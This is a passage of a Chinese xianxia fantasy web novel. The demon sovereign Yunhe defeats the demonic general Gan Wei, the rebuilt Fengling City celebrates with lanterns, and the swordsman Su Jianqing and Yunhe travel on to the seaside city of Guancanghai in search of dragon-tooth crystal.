那红光干净纯粹,隐有圣洁之气,城主缓缓推出一掌。 下一瞬,一抹绿光急掠而来,与甘巍的银枪相撞,巨大的冲击力将众人掀飞出去,红枫树枝叶震颤不已。 城主和曲江篱勉强将百姓们护好,惶然回头。 光波中心处,甘巍手持银枪,脸上脖颈处青筋暴露,脸颊肉抖动不已。 与他对峙的,竟是一根竹竿。说是竹竿也不准确,倒像是刚刚砍下来的一根青竹。翠绿笔直,竹节分明,足有一人高。顶端缀着几片绿叶,苍翠得似能滴出水来。细看,其内通透,光华流转,并非凡物。 青竹用力一震,甘巍不敌,及时收手,才未造成损伤。 绿色身影一步步走来,裙摆飘荡,婀娜多姿。姑娘生得明媚妍丽,杏眼澄澈无垢,分明是一双无害纯真的眼睛,却因神情隐怒,气势张狂,硬生生显出几分凶意。 她在苏见清面前停住,声线冰冷质问:“你还真是不怕死啊。” 苏见清轻抿苍白唇瓣,面如金纸,“阿蕴姑娘,能为苍生而死,是我之幸。” 蕴禾冷嘲,“这座城最多三万人,还算不上苍生。” 苏见清噎住。 甘巍沉着脸问:“妖君要插手?” 蕴禾徐徐转身,不耐反问:“与你何干?” 她胸口堵着一口气,不上不下的闹得她心烦,甘巍撞上来正好让她把气出了。 青竹自动飞到蕴禾手中,她握着竹竿,当头朝甘巍劈下! 这一棍含着斩天裂地之势,刹那间天地摇晃,地面裂出缝隙,房屋“轰隆”倒塌,整座枫泠城内唯有那棵红枫树屹立不倒。 苏见清急忙回头,“护住百姓!” “哦、哦哦。” 城主愣愣回神,急忙划出结界。 他偏头望了眼战场,倒吸一口凉气。 这位妖君究竟是何身份,仅仅一棍便能弄出这等场面。 甘巍口吐鲜血,咬牙抵抗。 蕴禾招式越发凶猛,她不管不顾地劈出棍风,空中妖气噼里啪啦爆开,彻底将红雾驱散。湛蓝天幕得以面世。 不过几棍,甘巍便已无法抵抗,握住银枪的手上可见白骨。 他咬紧牙关,祭出魔镜。诡异红光自镜中钻出,朝蕴禾压下。 她冷笑牵唇,似在嘲讽甘巍的不自量力。 妖气暴涨,蕴禾拎着竹子劈向魔镜。 “轰——” 那一棍劈在魔镜上,地面凭空裂开巨缝,“咔嚓”的裂开声在地面震动中微不可闻,却又响如雷鸣。 甘巍不可置信大喊:“不——” 蕴禾猛一用力。 “咔嚓。” 魔镜裂了。 第33章 “噗——” 甘巍被反噬,一连吐出好几口血,弯着身子单膝跪地。 被蕴禾劈裂的魔镜七零八碎从空中坠下。 甘巍心痛愤恨抬头,质问道:“你究竟是何人?!” 毁了他的计划,他的宝物,若是不弄清此人的身份,哪怕是死,他也不甘心。 冷冽漠然的目光落在甘巍身上,蕴禾没善心解答他的疑惑,竹竿一旋,被她猛地掷出! “噗嗤。” 甘巍双膝跪地,手中银枪掉落,无力垂头望着胸膛。 一根竹竿穿心而过,鲜血下淌,却不曾在它身上留下丝毫痕迹,依旧翠绿如玉,光华湛湛。 甘巍嘴唇嚅动,无声道:“一点翠色战群雄,东隅幽皇号万妖。” 原来是她。 难怪,难怪。 他输得不冤。 地面停止开裂,风吹起粉尘,无声落在甘巍头顶。 一缕墨发随风而飘,渐渐地不动了。 曲江篱拉住巫弃的袖子,“他、他死了?” 巫弃点头,“嗯,死了。” 堂堂魔域大将,竟这么简单就死了。 他看向蕴禾,目光复杂。 城主亦是不可置信,结巴道:“加、加春,你看到了吗?他、他死了,我们活下来了。” 加春舒了口气,全身肌肉松弛下来,随口应道:“嗯,你不用死了。” 劫后余生的心悸和兴奋终于漫上心头,城主热泪盈眶地抱住加春,欣喜若狂道:“活了!我们活了!枫泠城保住了!” “真的吗?城主说,我们不用死了?” “死了!死了!魔头死了!” “娘,你看到了吗?害死你的魔头死了!” “爹,祖母,我活下来了!” 百姓们狂喜相拥,喜极而涕,一时间天地皆是他们的欢呼哭泣声。 苏见清抬眸。 姑娘立足于天幕之下,废墟之中。一袭绿衣似鲜活摇曳的草叶,墨发如瀑,背影纤细却不瘦弱。 她缓伸手,刺穿魔修的竹竿飞入手中,灵光闪烁,被她收回。 姑娘缓慢转身,眉眼冰冷睥睨,如天地主宰,霸气张狂。 她徐徐走来,苏见清正欲张口,却见蕴禾对他不屑冷哼,足尖一点,如翩跹蝴蝶跃上青羽,懒懒坐下。 苏见清低头,无奈勾唇。 这一笑牵扯了伤口,他脸色一变,捂住胸口咯血,疼得弯不起腰。 “喂!” 焦急女声靠近,模糊视线里,蕴禾双手握住苏见清肩膀,面色含惊,“你别死啊,撑住。” 苏见清两片唇瓣嚅动,他想告诉她,不必忧心,他不会死的。 可一张口,源源不断的鲜血从唇角涌出,他语不成调,眼前的姑娘成了重影。 剑修的身影蓦地倒下。 “苏见清!” “仙君!” “苏公子!” 几人齐齐朝苏见清奔去。 谁也没发现,掉进缝隙里的魔镜碎片钻出一条漆黑小蛇,卷起碎片逃窜游走,不知去向。 …… 苏见清睁眼时看见一片红。 满天繁星下,红枫枝叶舒展,随风摇摆。无数红色光蕴萦绕其侧,璀璨梦幻。 他看了许久,久未眨眼。 “苏仙君,你醒了!” 还是城主发现他睁眼,蓦地惊喜叫唤。 苏见清侧首。 这一动,全身的骨头仿佛被斧头砍断重生,疼得他脸色一变,面无血色。 城主连忙道:“别动别动,你还伤着呢。” 坐在苏见清身旁,城主道谢,“苏仙君,这次多谢你们了,若不是有你们在,我这枫泠城想必是没了。你是咱们枫泠城的大恩人,这段日子你尽管躺着养伤,有什么需求,我一定满足!” 苏见清:“我的伤……” 城主叹气,“你本就伤势未愈,这次又强行运转功力伤了灵脉,若非妖君喂你吃了灵药,别说是修为,你这条命能保住都算不错了。” 苏见清张唇,“阿蕴姑娘她……” 城主往外指了指,“在外面呢,你昏迷这三天,她谁都不搭理,一脸生人勿近,凶得很。” 枫泠城算是毁了,这三日城主和加春带着百姓们紧赶慢赶重新建城,但工程量大,如今不过是勉强建了几座屋舍供百姓们居住。 就连苏见清此刻住的,也是一座敞开的棚子。 城主还想和苏见清说话,蓦地有女声远远传来,“碎金城主,苏公子醒了吗?” 城主连声道:“醒了醒了。” 苏见清怔住,“碎金?” “诶。” 碎金下意识答应,转头对上苏见清震惊的脸色,挠着后脑勺嘿嘿一笑,“公子没认出来吧?” 苏见清摇头,仍是不可置信,“你当真是碎金?” “是啊。” 苏见清认真将面前尊贵俊朗的城主与碎金楼主比较,的确发现了两人的相似之处。 “你既是城主,为何要开一座……”他顿了顿,从舌尖弹出的那两个字极轻,“花楼?” “嗐,我起初也没想开的。” 碎金娓娓解释,“我的本体仙君应该也知,便是城中那棵红枫。本体虽已存世将近万年,但我化形却不过千年。我有一株伴生灵花五蕴牡丹,哦,就是加春。我二人同时化形,不愿远离故乡,便在本体周围住下,有人遇难时随手相帮,慢慢的人越来越多,此地便成了枫泠城。” “修行之路枯燥无趣,我迷上了赚取银钱,而加春……” 咳嗽两声,碎金略带赧然,“她喜好美色,沉迷与人合欢,我便开了无忧阁与碎金楼。” 苏见清又问:“那楼内的姑娘从何而来?” “全是加春花叶所化。”碎金越发羞窘,“我那一阁一楼,全靠加春一人撑起。” 苏见清回忆起初入无忧阁的情形。 白日里的客人数量不多,但也有数十,夜里修士更是上百。 加春姑娘……可真是奇女子。 他轻咳一声,不再言语。 碎金挠侧脸,生硬转移话题,“我虽有修为,但习的都是些疗伤防御的术法,加之安逸多年,疏忽之下竟连自己的本体被人抢夺都不知。” 说到后面,碎金话里不乏自嘲,“这次枫泠城遭此大劫,我责任最大。” “那些魔修防不胜防,碎金城主何必自怨自艾?” 曲江篱走进来,安慰道:“就算你提前洞察,以魔修的残忍,最后都会是一样的结果。” 碎金苦笑,“曲仙子说得是。” 曲江篱转向苏见清,“苏公子,你可算醒了。你昏迷那日可把我们都吓坏了。” 苏见清对一旁的巫弃颔首致意,耐心听着曲江篱说话,视线却不由向外飘。 曲姑娘声音那么大,以她的修为应当早就听见了。 可直到眼下,她也未曾露面。 “对了苏仙君。” 苏见清偏头望碎金,“怎么了?” 碎金抿唇,“魔镜破碎后有东西掉出来,有几件看着像是仙门之物。” 苏见清沉默许久,“可否让我一观。” 碎金抬手,几件物品落在掌心。 是两把剑,三个芥子囊。 苏见清眸光暗淡,“是我师兄之物。碎金城主,多谢。” 指尖在剑鞘上轻轻拂过,他轻声道:“我会带他们回伏渊。” 第34章 苏见清躺了半个月,总算是能下榻了。 伤好后,他立即帮助枫泠城百姓修建城池,又过了半个月,碎金站在城门前,落下护城大阵的最后一笔,宣告枫泠城再建完成。 百姓们的欢呼声响彻天际,曲江篱拉着巫弃又蹦又跳,听得耳畔的笑声与哭声,苏见清嘴角轻轻勾起,视线在人群中巡睃。 城楼上的碎金宣布今夜将举办庆典,人群再度沸腾,苏见清在人头攒动间,依稀捕捉一抹青色倩影。 他追了两步,目光轻扫,眸里已经没了那抹青色。 …… 百香楼的掌柜幸运地在这场劫难中存活下来,他重新建了一座百香楼,并免费邀请苏见清、曲江篱和巫弃入住。 新建的百香楼格局摆设与之前一模一样,走在其中,有种仿佛甘巍从未祸害过枫泠城的错觉。 夜里有庆典,楼内很是清净,苏见清寻到掌柜的,还未开口,他便热情道:“仙君可是饿了渴了?今日后厨无事,仙君想吃什么,我立刻去吩咐。” “不必。” 苏见清拦下掌柜的,“我是想借厨房一用。” 掌柜的一拍大腿,“小事!别说是借厨房了,仙君哪怕是想抢厨房,也不过是一句话的事,我立马双手给仙君奉上。” 苏见清:“……” 着实夸张了。 好端端的,他抢厨房作甚?知道这是掌柜的在对他表示感激,苏见清并未多说,只颔首道谢,“多谢。” 掌柜的笑开了脸,亲自送苏见清进入厨房,并亦步亦趋跟着他打下手,顺便偷学两招。 他还是没放下用厨艺给自己找个实力强大仙子的小心思。 这次是他运气好,没有当场变成一具枯骨。下次要是再遇到魔修,有个靠山能活命的机会更大些,他心里也安心啊。 苏见清在厨房待了整整一个下午,等到日落西山,这才走出房门。 夜色将临,天空被分为两部分,一边霞光似锦,绚烂多姿;一边青黛当空,深沉幽远。 城中红枫除了碎金的本体,其余皆毁于一旦。好在碎金留有种子,这种普通灵树种子可由术法催生,将种子一撒,术法一施,满城红枫拔地而起,竟与初次进城时一般无二。 如今枫树轻晃,风铃叮当作响,鼻间清新,好不惬意。 苏见清告别掌柜的,独自走上屋顶。 他将备好的吃食一一摆好,轻声道:“这糕点趁热吃最好,若是凉了,难免影响口感。” 无人应答。 苏见清也不气馁,一道道介绍,“这道鸡汤选用的是百香楼内最好的灵鸡,甫以十多种材料,用文火熬制三个时辰而成,肉质软烂,鸡汤鲜美。” “这道红烧鱼用的是枫泠城独有的红白华鲤,刺少肉多,肉质鲜嫩,麻辣爽口。” “这道烤鸭……” “行了行了。” 女声打断苏见清的话,他抬眸,只见面前绿光微闪,青色翎羽与其上的姑娘闯入眼中。 她今日穿着天水碧色的衣裙,裙摆层层叠叠,如花似浪。发间一支碧绿竹簪,簪头流苏垂落,在姑娘莹白耳尖打转。 她面色不耐,似对他的出现很是厌烦,语气冷硬问:“你想干嘛?” 苏见清凝向蕴禾眉心,郑重道:“我想向阿蕴姑娘道歉。” 蕴禾轻抬羽睫,一脸困惑,“向我道歉?” “是。” 苏见清颔首,“那日姑娘想护我性命,虽事出有因,但终归是我不识好歹,拒绝了姑娘好意。” 手指一拂屋顶菜肴,他温声道:“这些是赔礼,希望能得阿蕴姑娘谅解。” 蕴禾眉梢微动,立即压眉,装作毫不在意的模样,冷讽道:“这些就想买我原谅?” 苏见清:“往后姑娘想吃什么只管吩咐,苏见清绝无二话。” 蕴禾终是笑了,两眼放光望向散发着香味的菜肴,屈尊降贵步下青羽,缓步在苏见清对面落座。 她理直气壮吩咐,“我要吃那个。” “好。” 苏见清低眉顺眼为蕴禾剔鱼刺,将在汤汁中蘸过的嫩白鱼肉放入碗里,递给蕴禾。 蕴禾接过碗筷,迫不及待尝了一口,眼睛当即亮起。 这人别的不提,做饭的手艺是真的上佳,十分合她心意。 吃完鱼肉,蕴禾又指挥苏见清为她剔肉夹菜,后者毫无怨言,舒舒服服伺候妖皇大人用膳。 报复过后,蕴禾慢条斯理喝着鸡汤,陡然问道:“你怎么知道我在这儿?” 上次苏见清发现,阿蕴姑娘好像对他的性命格外在乎。虽对此事很不解,但阿蕴姑娘说过,她救下他的命,那他这条命便是她的。阿蕴姑娘虽看着散漫,但纵观行事,却自有一股霸道,苏见清便信以为真。 他并不知她身在何处,但她既在乎他的命,或许会生气,但可能不会走远,应是隐在暗处不愿现身。 今日这一趟苏见清并无把握,没想到她竟这么容易就出现了。 和云团一样有点好哄。 听苏见清徐徐揣摩完她的心思,蕴禾冷哼,说不清是称赞还是嘲讽,“你倒是聪明。” 苏见清无奈苦笑。 蕴禾又舀了勺鸡汤,慢声道:“伏渊究竟是怎么教你的?” “嗯?” 蕴禾咽下鸡汤,微微眯眼,“心软又悲观,整日想着去送死。” 苏见清沉默须臾,轻轻一笑,“阿蕴姑娘觉得不好吗?” 蕴禾对下方正布置庆典的百姓一点下巴,“对他们来说是好事。对你就不好说了。” 苏见清顺着她所指方向看去。 那是对男女,修为不高,不过练气而已,他们说笑着用灵力挂上花灯,牵着手一同奔赴下一地点。 苏见清眸色柔和目送二人离去,轻声开口,“我自幼得师尊教诲,要心怀慈悲,心有苍生,除魔卫道,护卫玄清。身为师尊的弟子,我自该继承他的意志,与千千万万同门一道,成为这些百姓的守护者。” “这是我的信念,是我存在的意义。我不怕死,只怕自己死得毫无价值。” 蕴禾听了不屑一顾,懒懒地又舀了勺鸡汤,“你倒是对你的师尊很是信服。” 苏见清眸光软下,“我尚在襁褓时便被师尊接到身边,他对我亦师亦父,是我极为重要之人。” 苏见清偏头,清澈眸光锁住蕴禾,“阿蕴姑娘呢?又是如何养成了这般性子?” “啪嗒。” 瓷勺撞上碗壁,蕴禾嫣然一笑,恶气森森道:“杀出来的。” 第35章 蕴禾对苏见清的烂好心嗤之以鼻。 多年前的妖域混乱不休,械斗争纷数之不尽,若是敢有心软的念头,只怕她早就被别的妖吞吃入腹,哪还有今天的妖皇? 时至今日,蕴禾依旧不是个慈悲的王者,心怀不轨的,不过是一个死字。 短短四个字将苏见清震住,蕴禾轻飘飘瞥他,在心里嗤笑一声,慢条斯理喝着鸡汤。 片晌,苏见清道:“我曾听家中师长谈起,五十年前妖皇式微,诸位妖王龙争虎斗,将妖域搅得一团乱,阿蕴姑娘也是那时出生的?” 蕴禾没应声。 苏见清便懂了,轻声开口,“阿蕴姑娘能修得一身本事,应该吃了很多苦吧?” 蕴禾喝汤的动作一顿。 “未经他人苦,莫劝他人善。” 苏见清郑重其事对蕴禾行了一揖,“阿蕴姑娘,是我错了。” 蕴禾回神,鼻尖一声轻哼,“你有什么错?” “那日姑娘不愿相救,我心中实有不解隐怒,今日方知当时的自己是何等幼稚。我欠阿蕴姑娘一声歉。” 蕴禾喝完最后一口汤,将汤勺一扔,挥手放下汤碗,手掌懒洋洋往后撑,斜睨着苏见清,“现在说得这么好听,下次再遇上这种情况,我若不救,你可别再来兴师问罪。” 下次? 苏见清心中一动。 阿蕴姑娘的意思是,接下来的路,她还会与他同行? 剑修坐于屋顶上,一腿曲起,一腿打直,偏首凝望身侧的姑娘,嘴角抿出一点笑意,“不会。” 最后一抹霞光在西边散去,天色暗下,枫泠城内华灯初上,成片花灯亮起,似一条璀璨星河。 “哇!快看!” 夜幕之中一朵烟花轰然爆开,紧接着,无数朵烟花绚烂绽放,将夜空照得仿若白日。 百姓们的欢呼声似浪潮涌来,拍打在苏见清与蕴禾耳侧。 “苏公子,你怎么跑上面去了?” 楼下,曲江篱踮着脚尖对苏见清招手,视线一转,她惊喜出声,“阿蕴姐姐,你也在!” 蕴禾懒懒对她招手,并未回复。 曲江篱笑着热情邀请,“外面可热闹了,我和阿弃准备去看看,你们要不要一起?” 在她身旁,巫弃淡笑颔首。 苏见清询问:“阿蕴姑娘可想去?” 蕴禾淡声反问:“我不去,你就不去了?” 苏见清抿唇笑笑不语,看样子似乎就是这么想的。 蕴禾哼笑一声,起身对楼下二人道:“走吧。” 曲江篱欢呼雀跃,“阿蕴姐姐快来。” 蕴禾往下跳,裙摆似层叠幽昙,一瞬绽放。 苏见清收好屋檐上的东西,随她跃下。 四人会合后一同在枫泠城内闲逛。偶有认识几人的百姓,纷纷递上花果相谢。 “苏仙君,这是自家种的瓜,可甜了,你快尝尝。” “巫仙君,我见曲仙子爱吃零嘴,这是家里炸的果子。” “仙子姐姐,这束花送给你!” 一个女童抱着大束灵花,一股脑递给曲江篱。 “诶?” 曲江篱望着跑远的女童,抱着花笑盈盈对她挥手,“谢谢你啊*小妹妹!” 蕴禾两手空空落在最后,百无聊赖地看着苏见清面色微红收下百姓们的心意,无趣撇嘴。 视线里突然出现一束包扎完整的花。 那花颜色鲜艳,用术法引来蝴蝶,花开正艳,蝶影成趣,倒是有些巧思。 她神色莫名望向面前的小姑娘。 小姑娘十三四岁的年纪,生得倒是清秀可人,只是稍显稚嫩,紧张地抱着花递给她。 “仙子,这是给你的。” 蕴禾意味不明勾唇,“我可不是什么仙子。” 小姑娘眨眨眼,改了称呼,“妖君大人,这花是献给您的。” 蕴禾勉强满意,“给我作甚?” “我都看见了,若不是妖君大人杀了那个大魔头,枫泠城早就毁了。” “我可没想救你们。” 蕴禾神色淡淡。 “可是妖君大人就是救了啊。” 小姑娘把花放在蕴禾怀里,眉眼弯弯,“妖君大人,祝您有个愉快的夜晚。我娘亲在等我,我先走啦!” 她转过身小跑离开,飞扬的发带可见其愉悦的心情。 蕴禾垂首。 怀里的灵花似是刚摘下来的,花瓣上浸着水珠,娇艳欲滴,鲜艳美丽。 她本想把花扔了,可忆起方才那小姑娘笑弯的眉眼,握着花的手一紧。 “阿蕴姑娘。” 苏见清偏头唤她。 鬼使神差的,蕴禾将花收入储物手链,故作无事回望,“怎么?” 苏见清并未看出异样,“此处人太多了,我们往那边走。” 蕴禾“哦”了一声,随着苏见清三人步入小巷。 此处人影稀疏,但也没什么热闹可看,曲江篱望来望去,突发奇想指着一处房顶,“不如我们上去吧,就像苏公子和阿蕴姐姐一样。” 巫弃一向唯她是命,自无不愿。蕴禾与苏见清皆是无所谓。 四人上了房顶,曲江篱挨着蕴禾与巫弃,苏见清坐在蕴禾另一侧。 晚风吹拂,衣袂翩翩。此处地势高,坐在房顶往下看,正好能瞧见城中万灯齐绽的盛景。 曲江篱捧着脸“哇”一声,“好漂亮。” 苏见清为两个姑娘取了壶果饮,蕴禾举杯浅抿,随口道:“你在枫泠城逗留这么久,还不回去?” 巫弃心脏一跳,偏头看她。 曲江篱毫无所觉,笑道:“我们还没游玩完呢!我和阿弃要去……要去哪儿来着?” 她向巫弃求证。 “桑若城。” 巫弃自然接话,“十年一度的群英会将要开启,我和江篱正好去凑凑热闹。” “群英会?” 见蕴禾不解,苏见清主动解答,“是玄清域各大仙门世家为化神以下,五十岁以内的修士举办的一次斗法,奖励丰厚,魁首甚至还能对诸位大能提出一个条件。” “哦。” 蕴禾没什么兴趣,又喝了口果饮。 苏见清称赞一句,“巫道友能力出众,定能在群英会中取得好名次。” 巫弃温和弯唇,漫天星光下,紫异双眸隐泛笑意,偏头时眸底深处有什么情绪一闪而过。他对苏见清举杯,“那就借苏道友吉言了。” 苏见清与他碰杯,仰头喝下果饮。 “哇!阿蕴姐姐你快看!好多孔明灯!” 曲江篱蓦地拉住蕴禾袖子,兴奋指着徐徐上升的孔明灯。 夜色下,一盏盏散发着暖黄灯光的灯笼升起,数不清的灯笼迎向青墨色的夜空,宛如坠落人间的星子终于找到了归家的路。 孔明灯越来越近,暖黄的光映照在蕴禾脸上,眉眼似被灯火重新勾勒过,疏懒中散发着柔和。 曲江篱兴奋提议,“我们也去放孔明灯吧!” 蕴禾视线移转,从苏见清面上扫过。 他似吃了一惊,悻然垂首。 巫弃应:“你在此处等我,我很快就回。” 曲江篱笑着催促,“你快去!” 巫弃回来得很快,他买了四个孔明灯,曲江篱将之分完,从须弥戒中取出笔墨,兴致勃勃地写下愿望。 巫弃在一旁看着,将自己的孔明灯也递过去,“我的也给你写。” 曲江篱笑盈盈道:“那我可就不客气了。” 苏见清也取出笔墨,偏首问道:“阿蕴姑娘可要写?” 蕴禾:“无聊,不写。” 苏见清笑了笑,并未多言,提笔认真书写。 【惟愿亡者瞑目,来世无忧。】 落笔后,他点燃灯火松手,注视着孔明灯飞向夜幕。 蕴禾往上瞥一眼,抬手也放了自己的孔明灯。 两盏灯笼一道摇摇晃晃往上飞,融入明亮灯海中。 耳畔,曲江篱拉着巫弃兴奋大叫,“阿弃,我的灯笼飞得比你高!” 巫弃耐心回复,“嗯,你比我厉害。” “哈哈哈!” 姑娘的笑声随风传荡,苏见清立于原地,抬首望向头顶灯海。 蕴禾扯着衣裳上的带子玩,浅浅勾唇,蓦地抬手一挥。 灵韵强势地占据了半边天空,无数流星从空中坠落,瀑布般落于城中,簌簌然落在百姓掌心。 苏见清偏首看她。 漫天孔明灯下,姑娘的眉眼被渲染得温柔宁静。 百姓们的欢呼声萦绕耳侧。 天灯赐福,予满城安乐。 第36章 枫泠城事毕,巫弃与曲江篱踏上前往桑若城的路,苏见清也准备启程回伏渊。 离开那日,掌柜的伤心不已,哭得一把鼻涕一把泪,就差没抱着苏见清的腿拦着不让他走了。 苏见清无奈,为他留下一本菜谱,趁着掌柜的欣喜之余,快步离开百香楼。 没想到,城门口早有人在等候。 加春站在碎金身旁,似在数落什么,后者低眉顺眼,一脸逆来顺受。 他蓦地抬头,笑着对几人道:“苏仙君,妖君大人,巫仙君,曲仙子。” 曲江篱好奇,“城主是在等我们吗?” “是啊。” 碎金道:“几位拼死护住我枫泠城,无论如何,我都该送你们一程。” 他躬身行大礼,“惟愿诸位此行一路顺遂,仙途坦荡,得证大道。” “城主不必多礼。”巫弃温声道:“我与江篱不过随手相帮。” 碎金看得出来,主要是曲仙子想帮忙,这位巫仙君不过是对她言听计从。 他笑了笑,送出四片枫叶,“这叶子中含有我本源之力,能在紧要关头将实力恢复至全盛时期。若是用不着,也可将之吸收,对修炼大有裨益。” 曲江篱举着枫叶仰头看,叶脉中偶有灵光闪过,便知非凡品。 巫弃跟着看了眼。 苏见清合掌,握住手中枫叶,“多谢城主。” 碎金摆手,“与诸位相比,不值一提。” 觑了眼蕴禾,他递出掌心芥子囊,恭敬道:“这里是我所获的一些妖族之物,还请妖君收下。” 蕴禾打量一眼,手指一勾,一颗流光溢彩,足有拳头大的紫色珠子从芥子囊中飞出。 “就这颗鲛珠有点意思,别的就算了。” 碎金没想到竟保全了自己的宝物,大喜之下乐滋滋道:“让妖君喜欢是它的荣幸,也是我的荣幸。” 谄媚的模样让加春没眼看。 走到碎金身旁,她一笑,眼角便有媚意泄出,美得勾魂夺魄,“我也没什么好东西,就送各位一朵花吧。” 四朵一模一样的粉牡丹落于众人身前,加春笑道:“这牡丹包含五蕴,因人而施,诸位如何用它,它能使出什么作用,需要你们自行探索。” “多谢。” 碎金言行郑重,“往后我会督促城中修士修炼,往后若是再遇此事,好歹能有战力抵挡一二。诸位,后会有期。” 苏见清颔首,“后会有期。” 曲江篱笑着挥手,“碎金城主,加春姐姐,我们后会有期!” 巫弃温和点头,带着曲江篱飞离枫泠城。 苏见清御剑,蕴禾坐上青羽,跟在他身后晃晃悠悠离开。 碎金和加春目送四人远离,忽地长叹一气,“往后咱们可是没好日子可过了。” 加春斜他,“那是你,关我什么事。” 碎金不服,“你好歹也算是个副城主,不该出力督促修士修炼?” “这不有你吗?” 加春无所谓道:“好了,我约了小郎君游湖,没事别打扰我。” 碎金气极,“你眼里除了美貌郎君还有什么?诶,你给我站住,加春!加春!” 清风徐徐而过,吹拂姑娘发梢,她脚步不停,走得更快了。 碎金气急败坏追上去,碧蓝苍穹之下,成片红枫似火热烈,风过无痕,唯有树上风铃脆声作响。 枫叶簌簌飘落湖面,湖面清风一荡,它随风漂流,划开层层涟漪,默默聆听湖边有情人低语。 …… 离开枫泠城,巫弃曲江篱蓦地停下。 他们乘坐的乃是一把扇子,扇子通体水蓝,其中似有水波涌动。巫弃在前方驱使,曲江篱坐在后面,笑着对二人招手,“阿蕴姐姐,苏公子,我们走啦!期待下次见面!” 蕴禾点头,意有所指,“玩完了早日归家,别让家人担心。” 曲江篱嘻嘻哈哈道:“我知道的!” 巫弃不经意看了蕴禾一眼,微笑颔首,“苏公子,阿蕴姑娘,再会。” “再会。” 二人身如流光,转眼已至十里之外。 巫弃提醒,“江篱,那位阿蕴姑娘好像看穿了你的身份。” 曲江篱毫不在意摆手,“嗨呀,看穿就看穿嘛,有什么大不了的。” 巫弃拧眉,“倘若她对你不利……” 肩上蓦地有温软靠近,巫弃身体僵硬,剩下的话迟迟未出口。 曲江篱下巴搁在巫弃肩头,和他挨得很近,笑言:“阿弃,你担心太多啦。阿蕴姐姐一看就是妖王级别的妖,说不准比爷爷还厉害,她怎么能看上我?” 巫弃大脑一片空白,仓促出声,“嗯……” 曲江篱歪了下头,脑袋抵着巫弃后肩,“不过我怎么没听说过阿蕴姐姐的名字呢?” 巫弃缓过神,“或许是她不喜权势争纷,不愿出名。” “说得也是。” 曲江篱又笑,“咱们快走,争取早日到桑若城,也不知城中是何模样,有没有好玩的地方。” 巫弃勾唇,眸色微沉,“好,咱们快些到桑若。” …… “你要回伏渊?” 蕴禾半躺在青羽上,从储物手链中拿出果子在啃,随口问道。 苏见清摇头,“我要去趟观沧海。” “去哪儿作甚?” “有个师姐帮了我一个忙,我离开伏渊前,她拜托我去观沧海替她买龙牙晶。” 蕴禾若有所思。 苏见清相熟的师姐唯有胥绿真,东西是她要的? 脆声响起,蕴禾又咬了口果子,含糊道:“那就走吧。” 话音方落,她率先驱使青羽飞走。 苏见清正要跟上,忽见前头的姑娘停下,青羽翻了个面,她理直气壮吩咐,“我不认路,你走前面。” 苏见清一怔,旋即失笑,道了声“好”,御剑飞往观沧海。 …… 观沧海三个字听起来像海,但实则是座城。其比邻沧海,临海而居,城内人个个都是凫水的高手。 观沧海衣着颇具特色,姑娘们多用珍珠、珊瑚做首饰,迎面走来一名妙龄女子,发间珍珠作帘,硕大白珠缀在眉心,珠光映着炯炯神光,格外吸人眼球。 蕴禾收回视线,以手作扇在鼻尖扇两下,连声催促,“快走。” 她嗅觉灵敏,闻着空气中的海腥味颇觉不适。 苏见清:“好。” 他们去了观沧海内的珍宝阁。此处是玄清域最大的交易场所,七层高楼几欲破天,每层设有屋脊兽,个个都散发着强大的气息。 一层大如市集,从外看琉云璃彩,瑰丽绚烂,实不负珍宝阁之名。 珍宝阁的生意遍布玄清域,其背后东家极为神秘,此人能耐如此大,可见也不是什么无名小卒。 步入珍宝阁,第一眼见的是琳琅满目的商品,再是接待来客的美貌少女。姑娘们个个佩戴珍珠,衣着光鲜,笑容灿烂。 不等一名姑娘近前,苏见清已带着蕴禾上了四楼。 此楼专卖各种珍稀宝石材料,一眼望去五光十色的,璀璨耀眼。 蕴禾好奇巡睃,苏见清对走上前的姑娘道:“劳烦,敢问龙牙晶在何处?” 侍女笑容微顿,缓缓摇头,“仙君见谅,楼内龙牙晶已经售罄。” 第37章 苏见清意外,“没了?” 侍女点头,“可真是不巧,近日城中龙牙晶被人大肆收购,连我们这珍宝阁内的也被全部买走。” “不知买走龙牙晶的是何人?” 侍女笑,“这奴婢倒是不知。” 苏见清沉吟片刻,“这龙牙晶何处能得?” 侍女:“龙牙晶产自沧海内一处名为碧落潮的海域,其内多暗礁,周围时常有妖兽聚集,险象迭生,哪怕是金丹后期的修士去了,也无法全身而退。” “每月二十,碧落退潮,礁石露出海面,依稀可见海底的龙牙晶。那个时候,是采摘的最佳时机。仙君若是想去试试,可提前准备。” 苏见清道谢,“多谢解惑。” 他对侍女颔首,带蕴禾离开珍宝楼。 观沧海极大,苏见清几乎将整座城售卖宝石材料的店铺逛了个遍,果不其然,并无龙牙晶。 蕴禾问:“你准备怎么办?” 苏见清:“自然是留下。” 蕴禾伸着懒腰,偏首疑声,“离二十还有五日,你不急着回伏渊?” 苏见清摇头,“我答应了师姐,会将龙牙晶给她带回去。师尊若有疑问,便道路上遇见魔修,耽搁了几日。” 蕴禾哼笑,“好啊,你现在都会说谎敷衍了,这就是你说的将玄陵视为亲父?” 苏见清低咳,羞赧垂睫,“偶尔一次。就算是真父子也有互相欺瞒的时候,一个微不足道的小谎,师尊不会介意。” 蕴禾没见过玄陵,不知他是何秉性,不过从上次苏见清回去受一身伤可知,此人端肃严正,眼里容不得沙,对于他会不会介意苏见清的隐瞒,蕴禾持保留态度。 耸耸肩,蕴禾道:“先找个地方落脚。” 苏见清:“好。” 登上妖族皇位后,蕴禾处事态度转变极大,颇有些耽于享乐。之前打打杀杀的日子是形势所迫,如今都成皇了,没道理再委屈自己。 她在妖族住的用的都是最好的,跟了苏见清之后生活质量急遽下降。在枫泠城住在百香楼那是因为苏见清,当下无论如何蕴禾也不肯委屈自己,直接带着苏见清去观沧海内最好的客栈要了两间上房。 和掌柜的说完,蕴禾退到一旁,苏见清极有眼色递上灵石,得到蕴禾一个不错的眼神。 苏见清笑了下,指腹摩挲着芥子囊。 他的灵石还是在枫泠城猎杀妖兽所得,对他来说算是一笔巨款,但阿蕴姑娘选的客栈住宿和餐食都不便宜,不一定能撑五日。 苏见清默默地想,明日又该想法子赚取灵石了。 二人一前一后上楼。 此间客房极具当地特色,推门进去,只见屋内各色小鱼凭空游荡,身形灵动,色泽鲜亮,应是用某种秘法所制。 屋内各处用贝壳、海螺、珊瑚、珍珠装点,床榻竟是个巨大贝壳,壳上流淌着五彩光华,绚烂多彩,瞧着竟像是海族居所。 蕴禾好奇地坐上去,触感柔软,弹性足,还挺新奇的。 她打了个哈欠,慢悠悠躺上去,闭目小憩。 因传承功法所致,蕴禾从不做梦,可这次睡着后,她迷迷糊糊觉得自己好像梦见了什么。 